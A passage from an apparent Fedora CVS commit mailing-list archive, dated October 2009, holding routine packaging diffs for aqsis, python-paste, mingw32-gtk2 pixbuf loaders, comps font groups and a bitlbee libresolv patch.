+%{_datadir}/icons/hicolor/192x192/mimetypes/aqsis-doc.png
 %{_datadir}/mime/packages/aqsis.xml
 
 
@@ -215,40 +213,34 @@ fi || :
 %config %{_sysconfdir}/%{name}/aqsisrc-%{_lib}
 %{_libdir}/%{name}/
 # Licensed under GPLv2+
-%{_libdir}/libaqsis.so.*
-%{_libdir}/libaqsisargparse.so.*
-%{_libdir}/libaqsistex.so.*
-%{_libdir}/libaqsistypes.so.*
-%{_libdir}/libshadervm.so.*
-%{_libdir}/libslxargs.so.*
+%{_libdir}/libaqsis_*.so.*
 # Licensed under LGPLv2+
-%{_libdir}/libri2rib.so.*
+#{_libdir}/libaqsis_ri2rib.so.*
 
 
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/%{name}/
 # Licensed under GPLv2+
-%{_libdir}/libaqsis.so
-%{_libdir}/libaqsisargparse.so
-%{_libdir}/libaqsistex.so
-%{_libdir}/libaqsistypes.so
-%{_libdir}/libshadervm.so
-%{_libdir}/libslxargs.so
+%{_libdir}/libaqsis_*.so
 # Licensed under LGPLv2+
-%{_libdir}/libri2rib.so
+#{_libdir}/libaqsis_ri2rib.so
 
 
 %files data
 %defattr(-,root,root,-)
 %dir %{_datadir}/%{name}
-%{_datadir}/%{name}/content/
-%{_datadir}/%{name}/shaders/
+%{_datadir}/%{name}/examples/
+%{_datadir}/%{name}/plugins/
 %{_datadir}/%{name}/scripts/
+%{_datadir}/%{name}/shaders/
 
 
 
 %changelog
+* Sat Oct 17 2009 kwizart < kwizart at gmail.com > - 1.6.0-1
+- Update to 1.6.0
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.2-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	3 Feb 2009 13:45:48 -0000	1.2
+++ import.log	17 Oct 2009 17:51:43 -0000	1.3
@@ -1,2 +1,3 @@
 aqsis-1_4_1-2_fc8_kwizart:HEAD:aqsis-1.4.1-2.fc8.kwizart.src.rpm:1223422459
 aqsis-1_4_2-2_fc10:HEAD:aqsis-1.4.2-2.fc10.src.rpm:1233668722
+aqsis-1_6_0-1_fc11:HEAD:aqsis-1.6.0-1.fc11.src.rpm:1255801819


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	3 Feb 2009 13:45:48 -0000	1.4
+++ sources	17 Oct 2009 17:51:43 -0000	1.5
@@ -1 +1 @@
-6194c3af3ddc80999351565f2b2e2f55  aqsis-1.4.2.tar.gz
+31ca940b7894ba536f107c42e480541d  aqsis-1.6.0.tar.gz


--- aqsis-1.4.2-gcc44.patch DELETED ---


--- aqsis-trunk-piqsl_libtiff.patch DELETED ---



From kwizart at fedoraproject.org  Sat Oct 17 17:52:57 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Sat, 17 Oct 2009 17:52:57 +0000 (UTC)
Subject: rpms/aqsis/F-12 .cvsignore, 1.4, 1.5 aqsis.spec, 1.15,
	1.16 import.log, 
	1.2, 1.3 sources, 1.4, 1.5 aqsis-1.4.2-gcc44.patch, 1.1,
	NONE aqsis-trunk-piqsl_libtiff.patch, 1.1, NONE
Message-ID: <20091017175257.91C2111C00EC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12589/F-12

Modified Files:
	.cvsignore aqsis.spec import.log sources 
Removed Files:
	aqsis-1.4.2-gcc44.patch aqsis-trunk-piqsl_libtiff.patch 
Log Message:
Update to 1.6.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	3 Feb 2009 13:45:48 -0000	1.4
+++ .cvsignore	17 Oct 2009 17:52:57 -0000	1.5
@@ -1 +1 @@
-aqsis-1.4.2.tar.gz
+aqsis-1.6.0.tar.gz


Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/aqsis.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- aqsis.spec	24 Jul 2009 17:01:29 -0000	1.15
+++ aqsis.spec	17 Oct 2009 17:52:57 -0000	1.16
@@ -1,14 +1,12 @@
 Name:		aqsis
-Version:	1.4.2
-Release:	6%{?dist}
+Version:	1.6.0
+Release:	1%{?dist}
 Summary:	Open source RenderMan-compliant 3D rendering solution
 Group:		Applications/Multimedia
 
 License:	GPLv2+ and LGPLv2+
 URL:		http://www.aqsis.org
 Source0:	http://downloads.sourceforge.net/aqsis/aqsis-%{version}.tar.gz
-Patch0:         aqsis-trunk-piqsl_libtiff.patch
-Patch1:         aqsis-1.4.2-gcc44.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
@@ -62,6 +60,7 @@ The %{name}-libs package contains shared
 Requires:	%{name} = %{version}-%{release}
 Summary:	Example content for Aqsis
 Group:		Applications/Multimedia
+BuildArch:      noarch
 
 %description data
 Aqsis is a cross-platform photorealistic 3D rendering solution, based 
@@ -88,8 +87,7 @@ third-party applications.
 
 %prep
 %setup -q
-%patch0 -p1 -b .piqsl_tiff
-%patch1 -p1 -b .gcc44
+
 
 %build
 ## Do not Enable pdiff=yes Because it will conflict with Printdiff :
@@ -152,7 +150,7 @@ desktop-file-install --vendor "" --delet
 
 # Fix the scripts directory
 mv $RPM_BUILD_ROOT%{_datadir}/%{name}/script/ \
- $RPM_BUILD_ROOT%{_datadir}/%{name}/scripts/
+  $RPM_BUILD_ROOT%{_datadir}/%{name}/scripts/
 
 
 %clean
@@ -182,7 +180,7 @@ fi || :
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING README ReleaseNotes
+%doc AUTHORS COPYING README
 %{_bindir}/eqsl
 %{_bindir}/piqsl
 # Do not use the name pdiff for PerceptualDiff
@@ -193,8 +191,8 @@ fi || :
 %{_datadir}/applications/aqsltell.desktop
 %{_datadir}/applications/eqsl.desktop
 %{_datadir}/applications/piqsl.desktop
-%{_datadir}/pixmaps/aqsis-doc.png
 %{_datadir}/pixmaps/aqsis.png
+%{_datadir}/icons/hicolor/192x192/mimetypes/aqsis-doc.png
 %{_datadir}/mime/packages/aqsis.xml
 
 
@@ -215,40 +213,34 @@ fi || :
 %config %{_sysconfdir}/%{name}/aqsisrc-%{_lib}
 %{_libdir}/%{name}/
 # Licensed under GPLv2+
-%{_libdir}/libaqsis.so.*
-%{_libdir}/libaqsisargparse.so.*
-%{_libdir}/libaqsistex.so.*
-%{_libdir}/libaqsistypes.so.*
-%{_libdir}/libshadervm.so.*
-%{_libdir}/libslxargs.so.*
+%{_libdir}/libaqsis_*.so.*
 # Licensed under LGPLv2+
-%{_libdir}/libri2rib.so.*
+#{_libdir}/libaqsis_ri2rib.so.*
 
 
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/%{name}/
 # Licensed under GPLv2+
-%{_libdir}/libaqsis.so
-%{_libdir}/libaqsisargparse.so
-%{_libdir}/libaqsistex.so
-%{_libdir}/libaqsistypes.so
-%{_libdir}/libshadervm.so
-%{_libdir}/libslxargs.so
+%{_libdir}/libaqsis_*.so
 # Licensed under LGPLv2+
-%{_libdir}/libri2rib.so
+#{_libdir}/libaqsis_ri2rib.so
 
 
 %files data
 %defattr(-,root,root,-)
 %dir %{_datadir}/%{name}
-%{_datadir}/%{name}/content/
-%{_datadir}/%{name}/shaders/
+%{_datadir}/%{name}/examples/
+%{_datadir}/%{name}/plugins/
 %{_datadir}/%{name}/scripts/
+%{_datadir}/%{name}/shaders/
 
 
 
 %changelog
+* Sat Oct 17 2009 kwizart < kwizart at gmail.com > - 1.6.0-1
+- Update to 1.6.0
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.2-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	3 Feb 2009 13:45:48 -0000	1.2
+++ import.log	17 Oct 2009 17:52:57 -0000	1.3
@@ -1,2 +1,3 @@
 aqsis-1_4_1-2_fc8_kwizart:HEAD:aqsis-1.4.1-2.fc8.kwizart.src.rpm:1223422459
 aqsis-1_4_2-2_fc10:HEAD:aqsis-1.4.2-2.fc10.src.rpm:1233668722
+aqsis-1_6_0-1_fc11:F-12:aqsis-1.6.0-1.fc11.src.rpm:1255801935


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	3 Feb 2009 13:45:48 -0000	1.4
+++ sources	17 Oct 2009 17:52:57 -0000	1.5
@@ -1 +1 @@
-6194c3af3ddc80999351565f2b2e2f55  aqsis-1.4.2.tar.gz
+31ca940b7894ba536f107c42e480541d  aqsis-1.6.0.tar.gz


--- aqsis-1.4.2-gcc44.patch DELETED ---


--- aqsis-trunk-piqsl_libtiff.patch DELETED ---



From lmacken at fedoraproject.org  Sat Oct 17 17:53:46 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Sat, 17 Oct 2009 17:53:46 +0000 (UTC)
Subject: rpms/python-paste/EL-5 .cvsignore, 1.8, 1.9 python-paste.spec, 1.9, 
	1.10 sources, 1.8, 1.9
Message-ID: <20091017175346.2678D11C00EC@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-paste/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12994

Modified Files:
	.cvsignore python-paste.spec sources 
Log Message:
Update to 1.7.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste/EL-5/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	23 Oct 2008 20:28:33 -0000	1.8
+++ .cvsignore	17 Oct 2009 17:53:45 -0000	1.9
@@ -1 +1 @@
-Paste-1.7.1.tar.gz
+Paste-1.7.2.tar.gz


Index: python-paste.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste/EL-5/python-paste.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- python-paste.spec	23 Oct 2008 20:28:33 -0000	1.9
+++ python-paste.spec	17 Oct 2009 17:53:46 -0000	1.10
@@ -1,8 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
-%{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           python-paste
-Version:        1.7.1
+Version:        1.7.2
 Release:        1%{?dist}
 Summary:        Tools for using a Web Server Gateway Interface stack
 Group:          System Environment/Libraries
@@ -32,36 +31,30 @@ pushd docs
 rm StyleGuide.txt *.css */*.css */*.js
 popd
 
+
 %build
 %{__python} setup.py build
 
 
 %install
 rm -rf %{buildroot}
-%{__python} setup.py install --single-version-externally-managed \
-                             --skip-build -O1 --root=%{buildroot}
-
-echo '%defattr (0644,root,root,0755)' > pyfiles
-find %{buildroot}%{python_sitelib}/paste -type d | \
-    sed 's:%{buildroot}\(.*\):%dir \1:' >> pyfiles
-find %{buildroot}%{python_sitelib}/paste -not -type d -not -name '*.pyo' | \
-    sed 's:%{buildroot}\(.*\):\1:' >> pyfiles
-find %{buildroot}%{python_sitelib}/paste -not -type d -name '*.pyo' | \
-    sed 's:%{buildroot}\(.*\):%ghost \1:' >> pyfiles
-
+%{__python} setup.py install --skip-build --root %{buildroot}
 
 
 %clean
 rm -rf %{buildroot}
 
 
-%files -f pyfiles
+%files
 %defattr(-,root,root,-)
 %doc docs/*
-%{python_sitelib}/Paste-%{version}-py%{pyver}*
+%{python_sitelib}/*
 
 
 %changelog
+* Tue Jan 06 2009 Luke Macken <lmacken at redhat.com> - 1.7.2-1
+- Update to 1.7.2
+
 * Sat Jun 14 2008 Luke Macken <lmacken at redhat.com> - 1.7.1-1
 - Update to Paste 1.7.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste/EL-5/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	23 Oct 2008 20:28:33 -0000	1.8
+++ sources	17 Oct 2009 17:53:46 -0000	1.9
@@ -1 +1 @@
-1c975cd645cd4aff86dab47c6d9059e1  Paste-1.7.1.tar.gz
+a6a58d08dc4bff91d5d1c519d2277f8a  Paste-1.7.2.tar.gz



From epienbro at fedoraproject.org  Sat Oct 17 18:19:32 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Sat, 17 Oct 2009 18:19:32 +0000 (UTC)
Subject: rpms/mingw32-gtk2/devel gdk-pixbuf.loaders, 1.3,
	1.4 mingw32-gtk2.spec, 1.23, 1.24
Message-ID: <20091017181932.4B3FF11C00EC@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21154

Modified Files:
	gdk-pixbuf.loaders mingw32-gtk2.spec 
Log Message:
Updated filelist and gdk-pixbuf.loaders file for GDI+ support



Index: gdk-pixbuf.loaders
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/gdk-pixbuf.loaders,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gdk-pixbuf.loaders	20 Sep 2009 10:32:41 -0000	1.3
+++ gdk-pixbuf.loaders	17 Oct 2009 18:19:30 -0000	1.4
@@ -1,6 +1,6 @@
 # GdkPixbuf Image Loader Modules file
 # Automatically generated file, do not edit
-# Created by gdk-pixbuf-query-loaders.exe from gtk+-2.17.1
+# Created by gdk-pixbuf-query-loaders.exe from gtk+-2.18.3
 #
 # LoaderDir = Z:\usr\i686-pc-mingw32\sys-root\mingw/lib/gtk-2.0/2.10.0/loaders
 #
@@ -10,49 +10,24 @@
 "ani" ""
 "RIFF    ACON" "    xxxx    " 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.dll"
-"bmp" 5 "gtk20" "The BMP image format" "LGPL"
-"image/bmp" "image/x-bmp" "image/x-MS-bmp" ""
-"bmp" ""
-"BM" "" 100
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.dll"
-"tiff" 1 "gtk20" "The TIFF image format" "LGPL"
-"image/tiff" ""
-"tiff" "tif" ""
-"MM *" "  z " 100
-"II* " "   z" 100
-"II* \020   CR\002 " "   z zzz   z" 0
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gif.dll"
-"gif" 4 "gtk20" "The GIF image format" "LGPL"
-"image/gif" ""
-"gif" ""
-"GIF8" "" 100
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-ico.dll"
-"ico" 5 "gtk20" "The ICO image format" "LGPL"
-"image/x-icon" "image/x-ico" "image/x-win-bitmap" ""
-"ico" "cur" ""
-"  \001   " "zz znz" 100
-"  \002   " "zz znz" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-ras.dll"
+"ras" 4 "gtk20" "The Sun raster image format" "LGPL"
+"image/x-cmu-raster" "image/x-sun-raster" ""
+"ras" ""
+"Y\246j\225" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll"
-"tga" 4 "gtk20" "The Targa image format" "LGPL"
-"image/x-tga" ""
-"tga" "targa" ""
-" \001\001" "x  " 100
-" \001\t" "x  " 100
-"  \002" "xz " 99
-"  \003" "xz " 100
-"  \n" "xz " 100
-"  \013" "xz " 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-jasper.dll"
+"jpeg2000" 4 "gtk20" "The JPEG 2000 image format" "LGPL"
+"image/jp2" "image/jpeg2000" "image/jpx" ""
+"jp2" "jpc" "jpx" "j2k" "jpf" ""
+"    jP" "!!!!  " 100
+"\377O\377Q" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.dll"
-"jpeg" 5 "gtk20" "The JPEG image format" "LGPL"
-"image/jpeg" ""
-"jpeg" "jpe" "jpg" ""
-"\377\330" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-emf.dll"
+"emf" 4 "gtk20" "Het EMF-bestandsformaat" "LGPL"
+"application/emf" "application/x-emf" "image/x-emf" "image/x-mgx-emf" ""
+"emf" ""
+"\001" "" 100
 
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.dll"
 "wbmp" 4 "gtk20" "The WBMP image format" "LGPL"
@@ -63,24 +38,18 @@
 " @" "z " 1
 "  " "z " 1
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-xpm.dll"
-"xpm" 4 "gtk20" "The XPM image format" "LGPL"
-"image/x-xpixmap" ""
-"xpm" ""
-"/* XPM */" "" 100
-
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll"
-"icns" 4 "gtk20" "The ICNS image format" "GPL"
-"image/x-icns" ""
-"icns" ""
-"icns" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-ico.dll"
+"ico" 4 "gtk20" "Het ICO-bestandsformaat" "LGPL"
+"image/x-icon" "image/x-ico" ""
+"ico" "cur" ""
+"  \001   " "zz znz" 100
+"  \002   " "zz znz" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-jasper.dll"
-"jpeg2000" 4 "gtk20" "The JPEG 2000 image format" "LGPL"
-"image/jp2" "image/jpeg2000" "image/jpx" ""
-"jp2" "jpc" "jpx" "j2k" "jpf" ""
-"    jP" "!!!!  " 100
-"\377O\377Q" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-png.dll"
+"png" 5 "gtk20" "The PNG image format" "LGPL"
+"image/png" ""
+"png" ""
+"\211PNG\r\n\032\n" "" 100
 
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-pcx.dll"
 "pcx" 4 "gtk20" "The PCX image format" "LGPL"
@@ -92,12 +61,6 @@
 "\n\004\001" "" 100
 "\n\005\001" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-png.dll"
-"png" 5 "gtk20" "The PNG image format" "LGPL"
-"image/png" ""
-"png" ""
-"\211PNG\r\n\032\n" "" 100
-
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-pnm.dll"
 "pnm" 4 "gtk20" "The PNM/PBM/PGM/PPM image format family" "LGPL"
 "image/x-portable-anymap" "image/x-portable-bitmap" "image/x-portable-graymap" "image/x-portable-pixmap" ""
@@ -109,11 +72,30 @@
 "P5" "" 100
 "P6" "" 100
 
-"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-ras.dll"
-"ras" 4 "gtk20" "The Sun raster image format" "LGPL"
-"image/x-cmu-raster" "image/x-sun-raster" ""
-"ras" ""
-"Y\246j\225" "" 100
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-gif.dll"
+"gif" 5 "gtk20" "Het GIF-bestandsformaat" "LGPL"
+"image/gif" ""
+"gif" ""
+"GIF8" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.dll"
+"icns" 4 "gtk20" "The ICNS image format" "GPL"
+"image/x-icns" ""
+"icns" ""
+"icns" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-xpm.dll"
+"xpm" 4 "gtk20" "The XPM image format" "LGPL"
+"image/x-xpixmap" ""
+"xpm" ""
+"/* XPM */" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-tiff.dll"
+"tiff" 5 "gtk20" "The TIFF image format" "LGPL"
+"image/tiff" ""
+"tiff" "tif" ""
+"MM *" "  z " 100
+"II* " "   z" 100
 
 "../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-xbm.dll"
 "xbm" 4 "gtk20" "The XBM image format" "LGPL"
@@ -122,3 +104,33 @@
 "#define " "" 100
 "/*" "" 50
 
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-jpeg.dll"
+"jpeg" 5 "gtk20" "Het JPEG-bestandsformaat" "LGPL"
+"image/jpeg" ""
+"jpeg" "jpe" "jpg" ""
+"\377\330" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.dll"
+"tga" 4 "gtk20" "The Targa image format" "LGPL"
+"image/x-tga" ""
+"tga" "targa" ""
+" \001\001" "x  " 100
+" \001\t" "x  " 100
+"  \002" "xz " 99
+"  \003" "xz " 100
+"  \n" "xz " 100
+"  \013" "xz " 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-wmf.dll"
+"wmf" 4 "gtk20" "Het WMF-bestandsformaat" "LGPL"
+"image/x-wmf" ""
+"wmf" "apm" ""
+"\327\315\306\232" "" 100
+"\001" "" 100
+
+"../lib/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.dll"
+"bmp" 5 "gtk20" "Het BMP-bestandsformaat" "LGPL"
+"image/bmp" "image/x-bmp" "image/x-MS-bmp" ""
+"bmp" ""
+"BM" "" 100
+


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/mingw32-gtk2.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- mingw32-gtk2.spec	17 Oct 2009 15:48:06 -0000	1.23
+++ mingw32-gtk2.spec	17 Oct 2009 18:19:30 -0000	1.24
@@ -152,6 +152,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_bindir}/gtk-demo.exe
 %{_mingw32_bindir}/gtk-query-immodules-2.0.exe
 %{_mingw32_bindir}/gtk-update-icon-cache.exe
+%{_mingw32_bindir}/gtk-update-icon-cache.exe.manifest
 %{_mingw32_bindir}/libgailutil-18.dll
 %{_mingw32_bindir}/libgdk-win32-2.0-0.dll
 %{_mingw32_bindir}/libgdk_pixbuf-2.0-0.dll
@@ -327,7 +328,15 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-xbm.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-xpm.a
-%if 0
+%if 1
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-emf.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-gif.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-ico.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-jpeg.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-tiff.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-wmf.a
+%else
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gif.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ico.a



From hedayat at fedoraproject.org  Sat Oct 17 18:30:52 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Sat, 17 Oct 2009 18:30:52 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.155,1.156 comps-f13.xml.in,1.42,1.43
Message-ID: <20091017183052.20DE411C0269@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24261

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
Added SIL Scherazade font


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.155
retrieving revision 1.156
diff -u -p -r1.155 -r1.156
--- comps-f12.xml.in	17 Oct 2009 10:50:19 -0000	1.155
+++ comps-f12.xml.in	17 Oct 2009 18:30:51 -0000	1.156
@@ -113,6 +113,7 @@
       <packagereq type="default">paktype-tehreer-fonts</packagereq>
       <packagereq type="optional">m17n-db-arabic</packagereq>
       <packagereq type="optional">scim-tables-arabic</packagereq>
+      <packagereq type="optional">sil-scheherazade-fonts</packagereq>
     </packagelist>
   </group>
   <group>
@@ -1990,6 +1991,7 @@
       <packagereq type="optional">sil-gentium-basic-book-fonts</packagereq>
       <packagereq type="optional">sil-gentium-basic-fonts</packagereq>
       <packagereq type="optional">sil-gentium-fonts</packagereq>
+      <packagereq type="optional">sil-scheherazade-fonts</packagereq>
       <packagereq type="optional">silkscreen-expanded-fonts</packagereq>
       <packagereq type="optional">silkscreen-fonts</packagereq>
       <packagereq type="optional">sj-delphine-fonts</packagereq>
@@ -4693,6 +4695,7 @@
       <packagereq type="conditional" requires="koffice-core">koffice-langpack-fa</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-fa</packagereq>
       <packagereq type="optional">m17n-db-farsi</packagereq>
+      <packagereq type="default">sil-scheherazade-fonts</packagereq>
     </packagelist>
   </group>
   <group>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- comps-f13.xml.in	17 Oct 2009 10:50:19 -0000	1.42
+++ comps-f13.xml.in	17 Oct 2009 18:30:51 -0000	1.43
@@ -113,6 +113,7 @@
       <packagereq type="default">paktype-tehreer-fonts</packagereq>
       <packagereq type="optional">m17n-db-arabic</packagereq>
       <packagereq type="optional">scim-tables-arabic</packagereq>
+      <packagereq type="optional">sil-scheherazade-fonts</packagereq>
     </packagelist>
   </group>
   <group>
@@ -1980,6 +1981,7 @@
       <packagereq type="optional">sil-gentium-basic-book-fonts</packagereq>
       <packagereq type="optional">sil-gentium-basic-fonts</packagereq>
       <packagereq type="optional">sil-gentium-fonts</packagereq>
+      <packagereq type="optional">sil-scheherazade-fonts</packagereq>
       <packagereq type="optional">silkscreen-expanded-fonts</packagereq>
       <packagereq type="optional">silkscreen-fonts</packagereq>
       <packagereq type="optional">sj-delphine-fonts</packagereq>
@@ -4667,6 +4669,7 @@
       <packagereq type="conditional" requires="koffice-core">koffice-langpack-fa</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-fa</packagereq>
       <packagereq type="optional">m17n-db-farsi</packagereq>
+      <packagereq type="default">sil-scheherazade-fonts</packagereq>
     </packagelist>
   </group>
   <group>



From robert at fedoraproject.org  Sat Oct 17 18:56:13 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sat, 17 Oct 2009 18:56:13 +0000 (UTC)
Subject: rpms/bitlbee/F-11 bitlbee-1.2.4-libresolv.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 bitlbee.spec, 1.11, 1.12 sources, 1.7,
	1.8 bitlbee-1.2.3-libresolv.patch, 1.1, NONE
Message-ID: <20091017185613.ACC0011C0298@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/extras/rpms/bitlbee/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32327/F-11

Modified Files:
	.cvsignore bitlbee.spec sources 
Added Files:
	bitlbee-1.2.4-libresolv.patch 
Removed Files:
	bitlbee-1.2.3-libresolv.patch 
Log Message:
Upgrade to 1.2.4


bitlbee-1.2.4-libresolv.patch:
 Makefile     |    2 
 configure    |    6 -
 lib/Makefile |    2 
 lib/misc.c   |   53 -------------
 lib/misc.h   |    9 --
 lib/srv.c    |  239 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 lib/srv.h    |   49 ++++++++++++
 7 files changed, 295 insertions(+), 65 deletions(-)

--- NEW FILE bitlbee-1.2.4-libresolv.patch ---
Patch by Robert Scheck <robert at fedoraproject.org>, based on a patch by Mat?j Cepl
<mcepl at redhat.com> for bitlbee >= 1.2, to avoid static linking to a private glibc
function, normally visible as libc.so.6(GLIBC_PRIVATE) in the binary RPM package.

Unfortunately, this patch gets not accepted by upstream, as they're fine with the
static linking. The former try with libbind has the problem, that it breaks, once
the file transfer patch is added, because of libbind apparently all symbols which
are synonyms between glibc and libbind came from libbind, which made some nasty
surprises when e.g. getaddrinfo from libbind returned different error codes than
getaddrinfo from glibc.

A few more information and details regarding are mentioned in Red Hat Bugzilla ID
#439047, see: https://bugzilla.redhat.com/show_bug.cgi?id=439047

--- bitlbee-1.2.4/configure			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/configure.libresolv		2009-10-17 20:17:11.000000000 +0200
@@ -19,7 +19,7 @@
 pidfile='/var/run/bitlbee.pid'
 ipcsocket='/var/run/bitlbee.sock'
 pcdir='$prefix/lib/pkgconfig'
-systemlibdirs="/lib /usr/lib /usr/local/lib"
+systemlibdirs="/lib64 /usr/lib64 /usr/local/lib64 /lib /usr/lib /usr/local/lib"
 
 msn=1
 jabber=1
@@ -349,9 +349,9 @@
